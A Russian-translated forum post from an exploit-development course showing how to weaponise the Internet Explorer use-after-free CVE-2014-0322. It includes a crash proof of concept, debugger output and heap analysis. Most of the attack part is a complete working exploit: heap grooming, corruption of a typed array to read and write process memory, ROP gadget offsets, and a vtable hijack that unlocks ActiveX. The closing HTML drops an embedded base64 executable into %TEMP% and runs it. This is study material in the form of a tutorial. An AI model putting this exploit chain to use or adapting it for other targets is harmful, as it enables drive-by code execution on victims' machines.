R0 CREW

Exploit Development Course Part 17: Use-After-Free bug [Перевод: dreamseller]

ru
#1

Перейти к содержанию

Пока мы зависим от WinDbg для изменения длины Int32Array, чтобы получить полный доступ для чтения-записи к адресному пространству процесса IE. Пришла пора выбрать UAF, чтобы завершить наш эксплойт.

Я выбрал UAF с кодом CVE-2014-0322. Вы можете использовать Google для поиска дополнительной информации. Вот POC, который производит crash:

<!-- CVE-2014-0322 -->
<html>
<head>
</head>
<body>
<script>
function handler() {
  this.outerHTML = this.outerHTML;
}

function trigger() {
    var a = document.getElementsByTagName("script")[0];
    a.onpropertychange = handler;
    var b = document.createElement("div");
    b = a.appendChild(b);
}

trigger();
</script>
</body>
</html>

Скопируйте этот код в файл HTML и откройте его в IE 10. Если Вы сделаете это, Вы обнаружите, что IE не падает. Что случилось?

GFlags

В каталоге WinDbg мы можем найти gflags.exe - это утилита, которая может использоваться, чтобы изменить Global Flags Windows. Эти флаги влияют на поведение Windows и могут быть очень полезными во время отладки. Нам особенно интересны два флага:

    1. HPA – Heap Page Allocator
    1. UST – User mode Stack Trace

Флаг HPA говорит Windows использовать специальную версию heap allocator’а, это бывает полезно при обнаружении UAF, переполнений буфера и других видов ошибок. Аллокатор выделяет каждый блок в отдельном наборе непрерывных страниц (сколько - зависит от длины блока) так, чтобы конец блока совпал с концом последней страницы. Первая страница после выделенного блока отмечена как not present (не существующая). Таким образом обнаруживаются переполнения буфера. Кроме того, когда блок освобождается, все страницы, содержащие его, отмечаются как not present. Так обнаруживаются UAF.

Посмотрите на следующее изображение:

Страница = 0x1000 байт = 4 Кбайта. Если выделенный блок меньше чем 4 Кбайта, его размер может быть определен из его адреса простой формулой:

size (addr) = 0x1000 - (addr & 0xfff)

Эта формула работает, потому что блок выделен в конце содержащей его страницы. Взгляните на следующее изображение:

Второй флаг, UST, говорит Windows сохранять трассировку текущего стека каждый раз, когда блок “кучи” выделен или освобожден. Это бывает полезно, чтобы видеть, какая функция и путь выполнения ведут к определенному выделению или освобождению памяти. Это хорошо будет видно на примере анализа ошибки UAF.

Глобальные флаги могут быть изменены или глобально, или для конкретного файла. Нам нужно включить флаги HPA и UST только для iexplore.exe.

Запустите gflags.exe, перейдите к вкладке Image File, вставьте название exe-файла и выберите два флага, как проиллюстрировано на следующем изображении:

Получаем crash

Теперь загрузите POC в IE, и Вы должны получить crash. Если мы сделаем то же при отладке IE в WinDbg, мы увидим, какая инструкция генерирует исключение:

6b900fc4 e83669e6ff      call    MSHTML!CTreePos::SourceIndex (6b7678ff)
6b900fc9 8d45a8          lea     eax,[ebp-58h]
6b900fcc 50              push    eax
6b900fcd 8bce            mov     ecx,esi
6b900fcf c745a804000000  mov     dword ptr [ebp-58h],4
6b900fd6 c745c400000000  mov     dword ptr [ebp-3Ch],0
6b900fdd c745ac00000000  mov     dword ptr [ebp-54h],0
6b900fe4 c745c028000000  mov     dword ptr [ebp-40h],28h
6b900feb c745b400000000  mov     dword ptr [ebp-4Ch],0
6b900ff2 c745b000000000  mov     dword ptr [ebp-50h],0
6b900ff9 c745b8ffffffff  mov     dword ptr [ebp-48h],0FFFFFFFFh
6b901000 c745bcffffffff  mov     dword ptr [ebp-44h],0FFFFFFFFh
6b901007 e80162e6ff      call    MSHTML!CMarkup::Notify (6b76720d)
6b90100c ff4678          inc     dword ptr [esi+78h]  ds:002b:0e12dd38=????????     <---------------------
6b90100f 838e6001000004  or      dword ptr [esi+160h],4
6b901016 8bd6            mov     edx,esi
6b901018 e8640b0600      call    MSHTML!CMarkup::UpdateMarkupContentsVersion (6b961b81)
6b90101d 8b8698000000    mov     eax,dword ptr [esi+98h]
6b901023 85c0            test    eax,eax
6b901025 7416            je      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)
6b901027 81bea4010000905f0100 cmp dword ptr [esi+1A4h],15F90h
6b901031 7c0a            jl      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)
6b901033 8b4008          mov     eax,dword ptr [eax+8]
6b901036 83a0f0020000bf  and     dword ptr [eax+2F0h],0FFFFFFBFh
6b90103d 8d7dd8          lea     edi,[ebp-28h]

Похоже, что ESI - висячий указатель.

Вот трассировка стека:

0:007> k 10
ChildEBP RetAddr  
0a10b988 6b90177b MSHTML!CMarkup::NotifyElementEnterTree+0x266
0a10b9cc 6b9015ef MSHTML!CMarkup::InsertSingleElement+0x169
0a10baac 6b901334 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
0a10bad0 6b9012f6 MSHTML!CMarkup::InsertElementInternal+0x2e
0a10bb10 6b901393 MSHTML!CDoc::InsertElement+0x9c
0a10bbd8 6b7d0420 MSHTML!InsertDOMNodeHelper+0x454
0a10bc50 6b7d011c MSHTML!CElement::InsertBeforeHelper+0x2a8
0a10bcb4 6b7d083c MSHTML!CElement::InsertBeforeHelper+0xe4
0a10bcd4 6b7d2de4 MSHTML!CElement::InsertBefore+0x36
0a10bd60 6b7d2d01 MSHTML!CElement::Var_appendChild+0xc7
0a10bd90 0c17847a MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
0a10bdf8 0c176865 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0a10bf94 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x9d4
0a10c0b4 09ee0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0a10c0c0 0c1764ff 0x9ee0fe1
0a10c254 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x1b57

Давайте определим размер (теперь освобожденного) объекта:

0:007> ? 1000 - (@esi & fff)  
Evaluate expression: 832 = 00000340

Конечно, мы предполагаем, что размер объекта меньше, чем 0x1000. Вот пример трассировки стека, доступной благодаря флагу UST:

0:007> !heap -p -a @esi
    address 0e12dcc0 found in
    _DPH_HEAP_ROOT @ 141000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e2d0b94:          e12d000             2000
    733990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    772b1564 ntdll!RtlDebugFreeHeap+0x0000002f
    7726ac29 ntdll!RtlpFreeHeap+0x0000005d
    772134a2 ntdll!RtlFreeHeap+0x00000142
    74f414ad kernel32!HeapFree+0x00000014
    6b778f06 MSHTML!CMarkup::`vector deleting destructor'+0x00000026
    6b7455da MSHTML!CBase::SubRelease+0x0000002e
    6b774183 MSHTML!CMarkup::Release+0x0000002d
    6bb414d1 MSHTML!InjectHtmlStream+0x00000716
    6bb41567 MSHTML!HandleHTMLInjection+0x00000082
    6bb3cfec MSHTML!CElement::InjectInternal+0x00000506
    6bb3d21d MSHTML!CElement::InjectTextOrHTML+0x000001a4
    6ba2ea80 MSHTML!CElement::put_outerHTML+0x0000001d      <----------------------------------
    6bd3309c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054    <---------------------
    0c17847a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185
    0c1792c5 jscript9!Js::JavascriptArray::GetSetter+0x000000cf
    0c1d6c56 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a8
    0c1ac53b jscript9!Js::InterpreterStackFrame::Process+0x00000fbf
    0c175cf5 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305

Это доказывает, что ESI - действительно висячий указатель. Имена функций предполагают, что объект освобожден при выполнении присвоения

this.outerHTML = this.outerHTML;

в функциональном обработчике. Это означает, что мы должны выделить новый объект поверх старого в памяти прямо после того присвоения. Мы уже видели, как ошибки UAF могут быть использованы, в главе exploitme5 (Распыление “кучи” & UAF), и я не буду повторять теорию снова.

Нам нужно выделить объект того же размера, что и освобожденный объект. Так новый объект будет выделен по тем же адресам. Мы знаем, что размер объекта - 0x340 байт, таким образом, мы можем создать null-teerminated Unicode строку размером 0x340/2 – 1 = 0x19f = 415 wchars.

В первую очередь, давайте точно определим точное место отказа:

0:007> !address @eip

                                     
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...


Usage:                  Image
Base Address:           6c4a1000
End Address:            6d0ef000
Region Size:            00c4e000
State:                  00001000    MEM_COMMIT
Protect:                00000020    PAGE_EXECUTE_READ
Type:                   01000000    MEM_IMAGE
Allocation Base:        6c4a0000
Allocation Protect:     00000080    PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\system32\MSHTML.dll
Module Name:            MSHTML
Loaded Image Name:      C:\Windows\system32\MSHTML.dll
Mapped Image Name:      
More info:              lmv m MSHTML
More info:              !lmi MSHTML
More info:              ln 0x6c6c100c
More info:              !dh 0x6c4a0000


0:007> ? @eip-mshtml
Evaluate expression: 2232332 = 0022100c

Исключение сгенерировано в mshtml + 0x22100c. Теперь закройте WinDbg и IE, запустите их снова, откройте POC в IE и поместите брейкпоинт на точку crash в WinDbg:

bp mshtml + 0x22100c

Теперь разрешите заблокированный контент в IE, и брейк должен сработать прежде, чем будет сгенерировано исключение. Это было просто. Но так бывает не всегда. Иногда одна и та же часть кода выполняется сотни раз, прежде чем исключение будет сгенерировано.

Теперь мы можем попытаться выделить новый объект правильного размера. Давайте изменим POC следующим образом:

<!-- CVE-2014-0322 -->
<html>
<head>
</head>
<body>
<script>
function handler() {
  this.outerHTML = this.outerHTML;
  elem = document.createElement("div");
  elem.className = new Array(416).join("a");        // Nice trick to generate a string with 415 "a"
}

function trigger() {
    var a = document.getElementsByTagName("script")[0];
    a.onpropertychange = handler;
    var b = document.createElement("div");
    b = a.appendChild(b);
}

trigger();
</script>
</body>
</html>

Отметьте хороший трюк, чтобы создать строку с 415 “a”!

Прежде чем открыть POC в IE, мы должны отключить флаги HPA и UST (UST не проблема, но давайте отключим и его):

Теперь давайте вновь откроем POC в IE, поместим брейкпоинт в mshtml + 0x22100c и посмотрим, что произойдет:

Отлично! ESI указывает на наш объект (0x61 - код символа “а”), и теперь мы можем взять под свой контроль поток выполнения. Наша цель состоит в том, чтобы достигнуть такой инструкции, которая запишет 0x20 по адресу 0x0c0af01b. Вы должны знать этот адрес наизусть к настоящему времени!

Вы могли бы задаться вопросом, зачем мы присваиваем строку свойству className элемента DOM. Обратите внимание на то, что мы не пишем

var str = new Array(416).join("a");

Когда мы присваиваем elem.className строку, строка копируется, и копия присваевается свойству элемента DOM. Оказывается, копия строки выделяется в той же “куче”, где находился объект, который был освобожден из-за ошибки UAF. Например, при попытке выделить ArrayBuffer размером 0x340 байт, это не сработает, потому что необработанный буфер для ArrayBuffer будет выделен в другой “куче”.

Управление потоком выполнения

Следующий шагом мы должны увидеть, сможем ли мы достигнуть подходящей инструкции, чтобы произвести запись в память по произвольному адресу. Снова будем использовать IDA. Я не могу не сказать еще раз, насколько IDA полезна.

Мы определили адрес crash как mshtml + 0x22100c. Это означает, что мы
должны дизассемблировать библиотеку mshtml.dll. Давайте приступим:

0:016> lmf m mshtml
start    end        module name
6b6e0000 6c491000   MSHTML   C:\Windows\system32\MSHTML.dll

Теперь давайте откроем эту .dll в IDA и, когда она попросит, давайте позволим IDA загружать символы из сервера Microsoft. Перейдем к View>Open subviews>Segments. Мы можем определить базовый адрес mshtml:

Как мы видим, базовый адрес - 0x63580000. Теперь закройте вкладку Program Segmentation, нажмите g и введите 0x63580000+0x22100c. Вы должны оказаться в области crash.

Давайте начнем анализ:

Значение [esi+98h] должно быть не 0, потому что наша строка не может содержать нулевые wchars (они завершили бы строку преждевременно). Из-за этого выполнение достигает второго узла, где [esi+1a4h] сравнивается с 15f90h. Мы можем установить [esi+1a4h] = 11111h так, чтобы третий узел был пропущен, и легко избежать crash’a, и мы можем сделать так, чтобы [eax+2f0h] перезаписывался.

Теперь давайте посмотрим на функцию ?UpdateMarkupContentsVersion:

Картинка должно быть достаточно понятна. Есть важный момент, который нужно понять. Мы знаем, что Int32Array, длину которого мы хотим изменить, находится по адресу 0xc0af000, но мы не управляем значениями по этому адресу. Мы знаем, однако, что значение в 0xc0af01c - адрес необработанного буфера, связанного с Int32Array. Обратите внимание на то, что мы не знаем адрес необработанного буфера, но мы знаем, что можем найти этот адрес в 0xc0af01c. Теперь мы должны удостовериться, что dword по смещению 1c0h в необработанном буфере равен 0. К сожалению, необработанный буфер - только 0x58 байт. Помните, что мы не можем выделить более крупный необработанный буфер, потому что у него должен быть тот же самый размер LargeHeapBlock. Но есть простое решение: выделите больше необработанных буферов!

Давайте суммировать наше расположение памяти:

Object size = 0x340 = 832
offset: value
   94h: 0c0af010h
        (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
  0ach: 0c0af00bh
        (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
  1a4h: 11111h
        (X = [obj_addr+1a4h] = 11111h < 15f90h)

Мы должны внести несколько изменений в наш файл HTML.

Во-первых, мы добавляем код для вызова UAF и берем под свой контроль поток выполнения:

  function getFiller(n) {
    return new Array(n+1).join("a");
  }
 
  function getDwordStr(val) {
    return String.fromCharCode(val % 0x10000, val / 0x10000);
  }
 
  function handler() {
    this.outerHTML = this.outerHTML;
 
    // Object size = 0x340 = 832
    // offset: value
    //    94h: 0c0af010h
    //         (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
    //   0ach: 0c0af00bh
    //         (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
    //   1a4h: 11111h
    //         (X = [obj_addr+1a4h] = 11111h < 15f90h)
    elem = document.createElement("div");
    elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) +
                     getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) +
                     getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) +
                     getFiller((0x340 - (0x1a4 + 4))/2 - 1);        // -1 for string-terminating null wchar
  }
 
  function trigger() {
      var a = document.getElementsByTagName("script")[0];
      a.onpropertychange = handler;
      var b = document.createElement("div");
      b = a.appendChild(b);
  }

Затем, мы должны создать еще 4 ArrayBuffer, как мы уже обсудили:

    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte ArrayBuffer (buf2)
    // 8-byte header | 0x58-byte ArrayBuffer (buf3)
    // 8-byte header | 0x58-byte ArrayBuffer (buf4)
    // 8-byte header | 0x58-byte ArrayBuffer (buf5)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100) {
        buf = new ArrayBuffer(0x58);        // must be exactly 0x58!
        buf2 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf3 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf4 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf5 = new ArrayBuffer(0x58);       // must be exactly 0x58!
      }
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }

Добавив еще 4 ArrayBuffers, мы также должны изменить код, который вычисляет адрес первого необработанного буфера:

    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // ... we added four more raw buffers ...
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...
 
    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60*5/4],
        vftptr2 = int32array[0x60*6/4],
        vftptr3 = int32array[0x60*7/4],
        nextPtr1 = int32array[(0x60*5+0x24)/4],
        nextPtr2 = int32array[(0x60*6+0x24)/4],
        nextPtr3 = int32array[(0x60*7+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
//      alert("Error 1!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*6;

В основном мы поменяли int32array[0x60N/4] на int32array[0x60 (N+4)/4], чтобы добавить дополнительные 4 необработанных буфера после исходного необработанного буфера. Кроме того, последняя строка

buf_addr = nextPtr1 - 0x60 * 2

была изменена на

buf_addr = nextPtr1 - 0x60 * (2 + 4)

по той же причине.

Иногда я замечал сбои SaveToFile, поэтому я решил перезагружать страницу, когда это происходит:

    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    .
    .
    .
    
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }

Вот полный код:

    <html>
<head>
<script language="javascript">
  function getFiller(n) {
    return new Array(n+1).join("a");
  }
 
  function getDwordStr(val) {
    return String.fromCharCode(val % 0x10000, val / 0x10000);
  }
 
  function handler() {
    this.outerHTML = this.outerHTML;

    // Object size = 0x340 = 832
    // offset: value
    //    94h: 0c0af010h
    //         (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
    //   0ach: 0c0af00bh
    //         (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
    //   1a4h: 11111h
    //         (X = [obj_addr+1a4h] = 11111h < 15f90h)
    elem = document.createElement("div");
    elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) +
                     getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) +
                     getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) +
                     getFiller((0x340 - (0x1a4 + 4))/2 - 1);        // -1 for string-terminating null wchar
  }
 
  function trigger() {
      var a = document.getElementsByTagName("script")[0];
      a.onpropertychange = handler;
      var b = document.createElement("div");
      b = a.appendChild(b);
  }

  (function() {
//    alert("Starting!");
    
    CollectGarbage();

    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte ArrayBuffer (buf2)
    // 8-byte header | 0x58-byte ArrayBuffer (buf3)
    // 8-byte header | 0x58-byte ArrayBuffer (buf4)
    // 8-byte header | 0x58-byte ArrayBuffer (buf5)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100) {
        buf = new ArrayBuffer(0x58);        // must be exactly 0x58!
        buf2 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf3 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf4 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf5 = new ArrayBuffer(0x58);       // must be exactly 0x58!
      }
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x300 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    // We increment the highest byte of array_len 20 times (which is equivalent to writing 0x20).
    for (var k = 0; k < 0x20; ++k)
      trigger();
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
//      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // ... we added four more raw buffers ...
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...

    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60*5/4],
        vftptr2 = int32array[0x60*6/4],
        vftptr3 = int32array[0x60*7/4],
        nextPtr1 = int32array[(0x60*5+0x24)/4],
        nextPtr2 = int32array[(0x60*6+0x24)/4],
        nextPtr3 = int32array[(0x60*7+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
//      alert("Error 1!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*6;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
//      alert("Error 2!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000) - 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
//      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x58b9a;

    //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0xdc361  | --> "LEAVE | RET 4"
    //          +-------------------+

    var old = read(mshtml+0xc555e0+0x14);

    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God Mode On!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God Mode Off!

    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0;       // ptr to ptr to object
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length; ++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4] = jscript9+0x10705e;
    new_vftable[0x14/4] = jscript9+0xdc164;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // ptr to raw buffer of new_vftable
    
    // Create the new object.
    var new_object = new Int32Array(4);
    new_object[0] = new_vftptr;
    new_object[1] = jscript9 + 0x15f800;
    new_object[2] = jscript9 + 0xf3baf;
    new_object[3] = jscript9 + 0xdc361;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // ptr to raw buffer of new_object
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }
    
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);

//    alert("All done!");
  })();

</script>
</head>
<body>
</body>
</html>

